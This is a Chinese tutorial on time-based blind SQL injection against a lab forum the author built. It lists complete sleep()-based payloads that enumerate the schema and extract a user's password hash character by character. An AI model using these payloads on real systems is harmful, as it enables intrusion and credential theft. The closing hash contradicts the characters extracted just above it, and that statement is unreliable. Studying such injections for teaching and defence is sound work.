目录

  • 1 概述
  • 2 实验平台
  • 3 实验步骤
    • 3.1 判断是否存在注入点及注入的类型
    • 3.2 延迟盲注库名、表名、字段名及字段内容
  • 4 总结

1 概述

  1. 当改变浏览器带入给后台SQL的参数后,浏览器没有显示对应内容也没有显示报错信息时,无法使用union联合查询注入与报错注入;同时,输入参数为真或假也无法从页面显示上查出差异,无法使用布尔注入,这时候可以试试看能否使用延时注入。
  2. 延时盲注:也称延时注入、时间注入等,这种注入方式在带入给后台的参数中,设置了一个if语句,当条件为真时执行sleep语句,条件为假时无执行语句,然后根据浏览器的响应时间来推测sleep语句是否被执行,进而推测if条件是否为真。
  3. 延时盲注与布尔盲注的核心思想都是通过浏览器的不同响应来推测输入的条件的真假,布尔盲注是条件真假时页面显示会有不同显示,延时盲注则是显示结果相同只能从响应时间上进行推测。
  4. 缺点:有时候网页响应慢并不是因为sleep语句起来效果,也可能是网络等外部因素的影响。

2 实验平台

  1. 实验靶场——虚拟机:本节实验靶场是在win2008系统上基于phpstudy搭建的一个简单网站,win2008及phpstudy的安装过程可以参考《win2008R2SP1+WAMP环境部署》,网站的搭建过程可以参考《综合实验:一个简单丑陋的论坛网站》
  2. 注入工具——真实机:本实验利用火狐浏览器来实现union注入,为方便注入过程的编码,建议安装一个扩展插件harkbar,安装过程参考《HackBar免费版安装方法》由于该教程中的2.1.3harkbar我安装后无法正常使用,就安装了HackBar Quantum来代替。安装后出现下图左侧的东西。

3 实验步骤

3.1 判断是否存在注入点及注入的类型

在该阶段主要是尝试不同的输入参数,根据网页反馈信息来判断是否存在注入点以及注入类型,如是否是字符型还是数值型,是否存在延迟注入等。

  1. 用浏览器访问我们的留言论坛,并点击第一条留言进入测试界面。
  2. 将参数修改为?id=2,并点击run,看到页面变化如下,弹出第二条留言内容,由此可见后台是根据id的不同来反馈不同信息,而id是访问者可控的,是一个注入点。
  3. 修改参数为?id=1 and 1=1,返回页面与原页面一致 。通过该参数我们可以分析得到该注入数据类型为数值型,原因如下:
    (1) 猜测为数值型,则后台SQL语句为 select * from table where id=1 and 1=1,where语句判断条件为真且id=1,语句正常执行。
    (2) 猜测为字符型,则后台SQL语句为 select * from table where id=‘1 and 1=1’,where语句将找不到id为‘1 and 1=1’的参数,语句执行失败。
    (3) 更多数值型和字符型的判断方法请查看文章《反证法:判断注入类型是数值型还是字符型》
  4. 修改参数为 ?id=1 and 1=2 ,由于 and 1=2 为假 , 所以页面应返回与 id=1 不同的结果,如下图所示。也就是说是否能正常回显内容与语句的真假性有关。
  5. 为了判断注入是数字型或是字符型,继续修改参数?id=1',就是多了一个单引号,并点击run,看到页面如下。除了标题没有任何回馈信息,可以判断的是该语句带入到SQL中执行时,无法正常执行回显内容,但没有提示错误信息不知道能不能就判断是数字型的注入。
  6. 为判断参数是否存在延迟注入,按F12打开调试面板,在左侧继续修改参数为?id=1 and sleep(5),并点击run。可以看到sleep语句对网页的响应起到作用,也就是意味着存在延迟注入的可能。
  7. 结论:
    1. 因为id参数是用户可控的,会随请求带入到数据库中执行并回显相应内容,是一个注入点。虽然可以用union注入,但是在本实验中我们演示如何使用延时盲注。
    2. 根据第3步说明参数为数值型。
    3. 当参数条件为假时,无法正常回显,说明网页存在布尔类型状态。
    4. sleep语句对网页的响应起到作用,也就是意味着存在延迟注入。
    5. 从联合注入到盲注以及延迟注入,其时间人力成本逐步增大,尽可能选择低成本方式进行注入。

3.2 延迟盲注库名、表名、字段名及字段内容

  1. 修改参数为?id=1 and if(length(database())<10,sleep(5),1),页面延迟了5秒才响应,说明数据库名长度小于10为真。
  2. 经过多次测试,当修改参数为?id=1 and if(length(database())=7,sleep(5),1)时,页面延迟了5秒才响应,说明数据库名长度等于7为真。
  3. 测试第一个字符内容,经过多次测试,当修改参数为?id=1 and if(ascii(substr(database(),1,1))=109,sleep(5),1)时,页面延迟了5秒才响应,说明数据库名第一个字符ASCII码值为109,查表可得该字符为m。
  4. 按以上做法,汇总全过程注入代码如下,更详细的思路可看《布尔盲注实例手操》
测试库名
?id=1 and if(ascii(substr(database(),1,1))=109,sleep(5),1)        //m
?id=1 and if(ascii(substr(database(),2,1))=121,sleep(5),1)        //y
?id=1 and if(ascii(substr(database(),3,1))=95,sleep(5),1)     //_
?id=1 and if(ascii(substr(database(),4,1))=116,sleep(5),1)        //t
?id=1 and if(ascii(substr(database(),5,1))=101,sleep(5),1)        //e
?id=1 and if(ascii(substr(database(),6,1))=115,sleep(5),1)        //s
?id=1 and if(ascii(substr(database(),7,1))=116,sleep(5),1)        //t
?id=1 and if(ascii(substr(database(),8,1))=0,sleep(5),1)      //为空字符,说明库名为my_test测试表的数量
?id=1 and if((select count(table_name) from information_schema.tables where table_schema = 'my_test')=2,sleep(5),1)    //说明有2个表测试第1个表名
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 0,1),1,1))=109,sleep(5),1)        //m
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 0,1),2,1))=101,sleep(5),1)        //e
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 0,1),3,1))=115,sleep(5),1)        //s
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 0,1),4,1))=115,sleep(5),1)        //s
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 0,1),5,1))=97,sleep(5),1)     //a
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 0,1),6,1))=103,sleep(5),1)        //g
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 0,1),7,1))=101,sleep(5),1)        //e
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 0,1),8,1))=115,sleep(5),1)        //s
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 0,1),9,1))=0,sleep(5),1)      //为空字符,说明第1个表名为messages测试第2个表名
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 1,1),1,1))=117,sleep(5),1)        //u
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 1,1),2,1))=115,sleep(5),1)        //s
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 1,1),3,1))=101,sleep(5),1)        //e
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 1,1),4,1))=114,sleep(5),1)        //r
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 1,1),5,1))=115,sleep(5),1)        //s
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 1,1),6,1))=0,sleep(5),1)      //为空字符,说明第2个表名为users测试users表中有多少个字段
?id=1 and if((select count(column_name) from information_schema.columns where table_name = 'users')=5,sleep(5),1)  //说明有5个字段测试第1个字段名
?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 0,1),1,1))=105,sleep(5),1)      //i
?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 0,1),2,1))=100,sleep(5),1)      //d
?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 0,1),3,1))=0,sleep(5),1)            //空字符,说明第一个字段名为id测试第2个字段名
?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 1,1),1,1))=110,sleep(5),1)      //n
?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 1,1),2,1))=97,sleep(5),1)           //a
?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 1,1),3,1))=109,sleep(5),1)      //m
?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 1,1),4,1))=101,sleep(5),1)      //e
?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 1,1),5,1))=0,sleep(5),1)            //空字符,说明第二个字段名为name测试第3个字段名
?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 2,1),1,1))=112,sleep(5),1)      //p
?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 2,1),2,1))=97,sleep(5),1)           //a
?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 2,1),3,1))=115,sleep(5),1)      //s
?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 2,1),4,1))=115,sleep(5),1)      //s
?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 2,1),5,1))=119,sleep(5),1)      //w
?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 2,1),6,1))=111,sleep(5),1)      //o
?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 2,1),7,1))=114,sleep(5),1)      //r
?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 2,1),8,1))=100,sleep(5),1)      //d
?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 2,1),9,1))=0,sleep(5),1)            //空字符,说明第二个字段名为password测试users表中的账户数量
?id=1 and if((select count(name) from users)=3,sleep(5),1)    //说明有3个账号测试users表的第一个账号
?id=1 and if(ascii(substr((select name from users limit 0,1),1,1))=97,sleep(5),1)     //a
?id=1 and if(ascii(substr((select name from users limit 0,1),2,1))=0,sleep(5),1)      //空字符,说明第一个账户为a测试users表的第一个账号a的密码
?id=1 and if(ascii(substr((select password from users where name='a' limit 0,1),1,1))=48,sleep(5),1)   //0
?id=1 and if(ascii(substr((select password from users where name='a' limit 0,1),2,1))=99,sleep(5),1)   //c
?id=1 and if(ascii(substr((select password from users where name='a' limit 0,1),3,1))=99,sleep(5),1)   //c
?id=1 and if(ascii(substr((select password from users where name='a' limit 0,1),4,1))=49,sleep(5),1)   //1
?id=1 and if(ascii(substr((select password from users where name='a' limit 0,1),5,1))=55,sleep(5),1)   //7
?id=1 and if(ascii(substr((select password from users where name='a' limit 0,1),6,1))=53,sleep(5),1)   //5
?id=1 and if(ascii(substr((select password from users where name='a' limit 0,1),7,1))=98,sleep(5),1)   //b
?id=1 and if(ascii(substr((select password from users where name='a' limit 0,1),8,1))=57,sleep(5),1)   //9
?id=1 and if(ascii(substr((select password from users where name='a' limit 0,1),9,1))=99,sleep(5),1)   //c
?id=1 and if(ascii(substr((select password from users where name='a' limit 0,1),10,1))=48,sleep(5),1)  //0
?id=1 and if(ascii(substr((select password from users where name='a' limit 0,1),11,1))=102,sleep(5),1) //f
?id=1 and if(ascii(substr((select password from users where name='a' limit 0,1),12,1))=49,sleep(5),1)  //1
?id=1 and if(ascii(substr((select password from users where name='a' limit 0,1),13,1))=98,sleep(5),1)  //b
?id=1 and if(ascii(substr((select password from users where name='a' limit 0,1),14,1))=54,sleep(5),1)  //6
?id=1 and if(ascii(substr((select password from users where name='a' limit 0,1),15,1))=97,sleep(5),1)  //a
?id=1 and if(ascii(substr((select password from users where name='a' limit 0,1),16,1))=56,sleep(5),1)  //8
?id=1 and if(ascii(substr((select password from users where name='a' limit 0,1),17,1))=51,sleep(5),1)  //3
?id=1 and if(ascii(substr((select password from users where name='a' limit 0,1),18,1))=49,sleep(5),1)  //1
?id=1 and if(ascii(substr((select password from users where name='a' limit 0,1),19,1))=99,sleep(5),1)  //c
?id=1 and if(ascii(substr((select password from users where name='a' limit 0,1),20,1))=51,sleep(5),1)  //3
?id=1 and if(ascii(substr((select password from users where name='a' limit 0,1),21,1))=57,sleep(5),1)  //9
?id=1 and if(ascii(substr((select password from users where name='a' limit 0,1),22,1))=57,sleep(5),1)  //9
?id=1 and if(ascii(substr((select password from users where name='a' limit 0,1),23,1))=101,sleep(5),1) //e
?id=1 and if(ascii(substr((select password from users where name='a' limit 0,1),24,1))=50,sleep(5),1)  //2
?id=1 and if(ascii(substr((select password from users where name='a' limit 0,1),25,1))=54,sleep(5),1)  //6
?id=1 and if(ascii(substr((select password from users where name='a' limit 0,1),26,1))=57,sleep(5),1)  //9
?id=1 and if(ascii(substr((select password from users where name='a' limit 0,1),27,1))=55,sleep(5),1)  //7
?id=1 and if(ascii(substr((select password from users where name='a' limit 0,1),28,1))=55,sleep(5),1)  //7
?id=1 and if(ascii(substr((select password from users where name='a' limit 0,1),29,1))=50,sleep(5),1)  //2
?id=1 and if(ascii(substr((select password from users where name='a' limit 0,1),30,1))=54,sleep(5),1)  //6
?id=1 and if(ascii(substr((select password from users where name='a' limit 0,1),31,1))=54,sleep(5),1)  //6
?id=1 and if(ascii(substr((select password from users where name='a' limit 0,1),32,1))=49,sleep(5),1)  //1
?id=1 and if(ascii(substr((select password from users where name='a' limit 0,1),33,1))=0,sleep(5),1)   //空字符,因此a账户加密后的密码为e10adc3949ba59abbe56e057f20f883e,在md5网站解密得明文为a。其余两个账号与第一个账号类似可得

4 总结

  1. 理解延时盲注与布尔盲注的区别和联系;
  2. 掌握延时盲注的方法。

【SQL注入05】延时盲注实例操作相关推荐

  1. sql注入学习——布尔盲注

    前言:之前通过前九关学习到了回显注入.报错注入等一些方法,这次就来详细的学习布尔盲注. 首先来了解一下盲注的概念 盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL ...

  2. SQL注入学习——Bool盲注详解 sqli-labs(Less 8)

    文章目录 前言: 一.Bool盲注常用的函数: 二.Less8 布尔型单引号GET盲注 1.查数据库版本 2.猜解数据库的长度 3.猜数据库名字 4.猜解表名 5.猜解字段名 6.猜解数据 三.脚本注 ...

  3. SQL注入之时间盲注 和 报错注入(sql-lab第一关为例)

    什么是时间盲注 时间盲注指通过页面执行的时间来判断数据内容的注入方式,通常用于数据(包含逻辑型)不能返回到页面中的场景,无法利用页面回显判断数据内容,只能通过执行的时间来获取数据. 时间盲注的过程 1 ...

  4. sql注入学习——时间盲注

    前言:之前通过前九关学习到了回显注入.报错注入.布尔盲注等一些方法,这次就来详细的学习时间盲注. 在上一篇博客中,了解了布尔盲注,其实布尔盲注和时间盲注大致相同,注入原理是一致的,区别就是一个还是有回 ...

  5. SQL注入学习——时间盲注详解 sqli-labs(Less 9)

    文章目录 前言: 一.基础知识 1.时间盲注简介: 2.时间盲注常用的函数: 二.Less9 基于时间的单引号盲注 1.判断数据库名的长度: 2.猜测数据库: 3.判断表名的长度 4.猜测 secur ...

  6. SQL注入原理-时间盲注

    小伙伴们大家好!本期为大家带来的是SQL注入原理之时间盲注. 目录 使用环境 常见函数与语句 sleep()函数 if语句 substr()函数 ord()函数 length()函数 实战演示 1.判 ...

  7. SQL注入之布尔盲注——sql-lab第八关

    布尔盲注简介 什么是盲注 盲注其实是sql注入的一种,之所以称为盲注是因为他不会根据你sql注入的攻击语句返回你想要知道的错误信息. [之前在做联合注入第一关的时候,用union select语句注入 ...

  8. web安全入门之SQL注入-时间型盲注

    SQL注入之时间型盲注 1.时间型盲注 时间型盲注条件极为苛刻,不管输入什么,WEB页面回显相同的结果,此时我们无法通过报错型注入以及布尔型盲注来爆数据,此时数据在交互完成以后目标网站没有正确和错误的 ...

  9. SQL注入原理-布尔盲注

    小伙伴们大家好,今天为大家带来的使SQL注入原理之布尔盲注. 目录 布尔盲注使用的环境 常用函数与语句 substr()函数 ord()函数 length()函数 实战演示 1.判断是否存在注入点 2 ...

  10. 【SQL注入-05】布尔盲注案例

    目录 1 概述 2 操作环境 3 操作具体步骤 3.1 判断是否存在注入点及注入的类型 3.2 测试数据库库名长度 3.3 逐个测试数据库库名的字符 3.4 测试该数据库中所有表名 3.5 测试use ...

最新文章

  1. 目前最实用的机器学习算法,你认为是哪几种?
  2. Python-jsonpath使用和json转换
  3. C语言面试高频问题:自己代码实现字符串相关的常用API
  4. Linux下编译、链接、加载运行C++ OpenCV的两种方式及常见问题的解决
  5. 信息学奥赛一本通 1311:【例2.5】求逆序对 | 1237:求排列的逆序数 | OpenJudge NOI 2.4 7622:求排列的逆序数 | 洛谷 P1908 逆序对
  6. python课后题答案第一章_python核心编程课后习题解答第一章
  7. Python基础(四)函数
  8. a href=javascript:;/a
  9. /usr/bin/ld: cannot find -lstdc++ -lz问题
  10. dpdk优化(转)???
  11. Git ---- 解决coding:Permission denied(publickey)
  12. 【Elasticsearch】高亮查询 highlighting (一)
  13. PHP和原生JS实现九型人格在线测试(144题)
  14. java11 http正式_Java11 HttpClient下载中文文件名称乱码
  15. Excel如何快速将一维表转为二维表
  16. Android 通知设置
  17. 求职指导课程测试题(学习自测使用)
  18. 北上广深——这无处安放的肉身
  19. php逆波兰表达式,PHP实现逆波兰式 - 计算工资时用
  20. 乐鑫esp8266学习rtos3.0笔记:仅1M flash 的安信可 ESP-01S 模块,如何二次开发?如何对其 OTA 远程升级固件!

热门文章

  1. 苹果手机解压缩软件_「 神器 」用得贼舒服的压缩/解压缩工具
  2. 快速入门(完整):Python练手经典实例100个 (让你的Python技能点全亮)
  3. STS代码式预付费用电管理系统
  4. android x5内核使用方法,android 快速教你集成腾讯X5内核
  5. 高数篇(二)-- 傅里叶变换 VS 拉普拉斯变换
  6. 射频电路中三种基本接收机结构
  7. DFA算法实现 敏感词过滤
  8. 贝叶斯网络分析软件Netica
  9. Linux脚本(shell)详解
  10. gbq6什么软件能打开_GBQ5是啥文件,用哪个软件打开